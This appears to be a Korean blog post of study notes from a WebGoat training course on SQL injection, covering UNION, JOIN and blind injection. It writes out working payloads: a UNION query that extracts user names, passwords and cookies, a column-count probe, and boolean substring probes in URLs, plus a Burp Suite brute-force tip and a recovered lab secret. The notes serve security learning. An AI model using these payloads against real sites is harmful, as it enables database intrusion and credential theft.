728x90
',+,|| allows string concatenation
Char() strings without quotes
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
Union
두 개의 Select 결과를 하나로 합침 / 중복은 하나로 표시 / 컬럼의 개수가 같아야하고 데이터 타입이 동일
SELECT * FROM [A] UNION (ALL) SELECT * FROM [B]
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
Join
둘 이상의 테이블을 연결하여 데이터 검색
SELECT [Columns] FROM [A] INNER JOIN [B] ON [A.ID = B.ID];
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;
Dave' union select userid, user_name, password, cookie, null, null, null from user_system_data --
union은 컬럼의 수가 동일해야함.
user_system_data table의 컬럼이 user_data table의 컬럼의 수보다 3개가 적기때문에 null로 갯수를 맞춰준다.
union을 통해 컬럼의 수를 확인할 수 있다.
' union select all 1,2,3,4,5,6,7 #
Blind SQL Injection
오류 메시지가 출력되지 않을 때 사용하는 공격 기법
파라미터 article_id의 값이 4라면 SQL에 들어가는 형식이 첫번째박스와 같고 뒤에 AND 1=1이 붙으면 두번째와 같다.
https://shop.example.com?article=4 AND 1=2
False => AND는 F가 있다면 F로 결과가 나온다.
=> False에 대한 결과 화면 출력
https://shop.example.com?article=4 AND substring(database_version(),1,1) = 2
// substring을 통해 한글자씩 잘라서 맞는지 틀린지 확인 할 수 있다.
Burp Suite
Positions 두개 선택하고 cluster bomb 사용하면 숫자돌아가면서 알파벳도 돌릴 수 있음
thisisasecretfortomonly
1 3 2 3 4
728x90
'강의 및 교육 > Inflearn - Webgoat' 카테고리의 다른 글
Vulnerable Components - Exploiting CVE-2013-7285 (XStream) (0) | 2022.03.14 |
---|---|
SQL Injection (mitigation) (0) | 2022.03.08 |
SQL Injection (intro) (0) | 2022.03.06 |
Challenges (0) | 2022.03.05 |
Server-Side Request Forgery - 3, 4 (0) | 2022.03.03 |